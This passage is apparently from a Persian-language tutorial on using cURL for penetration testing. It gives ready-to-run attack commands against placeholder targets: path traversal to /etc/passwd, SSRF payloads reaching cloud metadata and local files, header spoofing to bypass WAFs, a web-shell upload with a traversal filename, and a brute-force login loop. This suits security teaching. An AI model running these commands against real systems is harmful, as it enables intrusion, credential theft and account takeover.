آموزش جامع cURL: سلاح مخفی هکرها و متخصصان امنیت

•  

• Protocols: بررسی کنید که آیا cURL از پروتکل‌هایی مثل file://، gopher:// یا dict:// پشتیبانی می‌کند؟ این پروتکل‌ها در حملات SSRF حیاتی هستند.

• Features: بررسی وجود قابلیت‌هایی مثل HTTP2، HSTS و IDN.

د) راهنمای کامل و آفلاین: man curl

کامل‌ترین مرجع cURL، صفحه man آن است که تمام گزینه‌ها را با جزئیات، مثال و سناریوهای کاربردی توضیح می‌دهد:

man curl

کلیدهای میانبر در صفحه man:

سناریوی واقعی: فرض کنید در حال تست نفوذ هستید و می‌خواهید یک اتصال WebSocket را با cURL تست کنید، اما نمی‌دانید چه گزینه‌ای لازم است. کافیست دستور man curl را اجرا کنید و سپس /websocket را تایپ کنید تا تمام گزینه‌های مربوطه را ببینید.

بخش ۳: تکنیک‌های هکرها با cURL (بخش اصلی)

اینجا جایی است که cURL از یک ابزار ساده به یک سلاح تبدیل می‌شود. هکرها و تست‌کنندگان نفوذ از این تکنیک‌ها برای دور زدن امنیت و کشف آسیب‌پذیری‌ها استفاده می‌کنند.

تکنیک ۱: دور زدن فیلترهای مسیر با --path-as-is

این یکی از مهم‌ترین تکنیک‌ها برای کشف آسیب‌پذیری Directory Traversal (عبور از مسیر) است.

فرض کنید می‌خواهید یک حمله Path Traversal انجام دهید:

curl http://target.com/../../../../etc/passwd

cURL به صورت پیش‌فرض مسیر را نرمال‌سازی می‌کند و آن را به /etc/passwd تبدیل می‌کند. یعنی Payload شما از بین می‌رود!

راه‌حل: استفاده از گزینه --path-as-is

curl http://target.com/../../../../etc/passwd --path-as-is

حالا cURL دقیقاً همان مسیر را می‌فرستد و اگر سرور آسیب‌پذیر باشد، می‌توانید فایل‌های حساس را بخوانید.

تکنیک ۲: دور زدن DNS و تست Virtual Hosts با --resolve

گاهی اوقات یک سرویس فقط از داخل شبکه قابل دسترسی است، یا یک Virtual Host خاص فقط با نام دامنه مشخص پاسخ می‌دهد. با --resolve می‌توانید cURL را مجبور کنید یک دامنه را به IP خاصی resolve کند.

curl --resolve admin.target.com:80:127.0.0.1 http://admin.target.com

این دستور باعث می‌شود درخواست به admin.target.com به جای DNS عمومی، به 127.0.0.1 (لوکال‌هاست) فرستاده شود. این تکنیک برای دور زدن محدودیت‌های IP یا تست سرویس‌های داخلی عالی است.

تکنیک ۳: جعل هدرها (Header Spoofing) برای دور زدن WAF

فایروال‌های برنامه (WAF) اغلب ترافیک را بر اساس هدرهایی مثل User-Agent یا X-Forwarded-For فیلتر می‌کنند. هکرها با cURL این هدرها را جعل می‌کنند:

# جعل User-Agent برای عبور از فیلتر ربات‌ها
curl -H "User-Agent: Googlebot/2.1" https://target.com/

# جعل IP برای تست دسترسی‌های ادمین
curl -H "X-Forwarded-For: 127.0.0.1" https://target.com/admin

# جعل Host برای دسترسی به سرویس‌های داخلی
curl -H "Host: internal.target.com" https://target.com/

تکنیک ۴: تست SSRF (Server-Side Request Forgery)

در حملات SSRF، مهاجم سرور قربانی را مجبور می‌کند تا به منابع داخلی یا خارجی درخواست بفرستد. cURL ابزار اصلی برای تست این آسیب‌پذیری است:

# تست دسترسی به متادیتای ابری
curl "https://vulnerable.com/fetch?url=http://169.254.169.254/latest/meta-data/"

# خواندن فایل‌های لوکال با پروتکل file://
curl "https://vulnerable.com/fetch?url=file:///etc/passwd"

# اسکن پورت‌های داخلی
curl "https://vulnerable.com/fetch?url=http://127.0.0.1:22"

تکنیک ۵: ارسال داده‌های پیچیده (POST, JSON, File Upload)

ارسال داده POST ساده:

curl -X POST -d "username=admin&password=123" https://target.com/login

ارسال JSON (برای APIها):

curl -X POST -H "Content-Type: application/json" \
     -d '{"username":"admin","password":"test"}' \
     https://target.com/api/login

آپلود فایل (تست Directory Traversal در نام فایل):

curl -F "file=@shell.php;filename=../../../../var/www/shell.php" https://target.com/upload

تکنیک ۶: استفاده از پروکسی برای ناشناس ماندن

# استفاده از پروکسی SOCKS5
curl -x socks5h://127.0.0.1:1080 https://target.com/

# استفاده از پروکسی HTTP
curl -x http://proxy-server:8080 https://target.com/

تکنیک ۷: خودکارسازی حملات با اسکریپت

یکی از قدرت‌های اصلی cURL، ترکیب آن با حلقه‌های Bash برای حملات خودکار است:

for pass in $(cat passwords.txt); do
  curl -s -X POST -d "user=admin&pass=$pass" https://target.com/login | grep "Welcome"
done

بخش ۴: تکنیک طلایی – بازتولید درخواست‌های مرورگر با cURL

یکی از کاربردی‌ترین ترفندها برای تست نفوذ، این است که یک درخواست را در مرورگر (Chrome/Firefox) ثبت کنید و سپس آن را با cURL تکرار کنید.

مراحل:

1. در مرورگر، کلید F12 را بزنید تا Developer Tools باز شود.

2. به تب Network بروید.

3. عملیاتی که می‌خواهید تست کنید را انجام دهید (مثلاً لاگین).

4. روی درخواست مورد نظر راست‌کلیک کنید و گزینه Copy و سپس Copy as cURL را انتخاب کنید.

5. حالا یک دستور cURL کامل (با تمام هدرها و کوکی‌ها) در کلیپ‌بورد شماست. آن را در ترمینال Paste کنید و اجرا کنید.

این تکنیک به شما اجازه می‌دهد تا دقیقاً همان درخواستی که مرورگر می‌فرستد را دستکاری کنید و بفهمید کدام پارامتر آسیب‌پذیر است.

بخش ۵: جدول مرجع سریع گزینه‌های cURL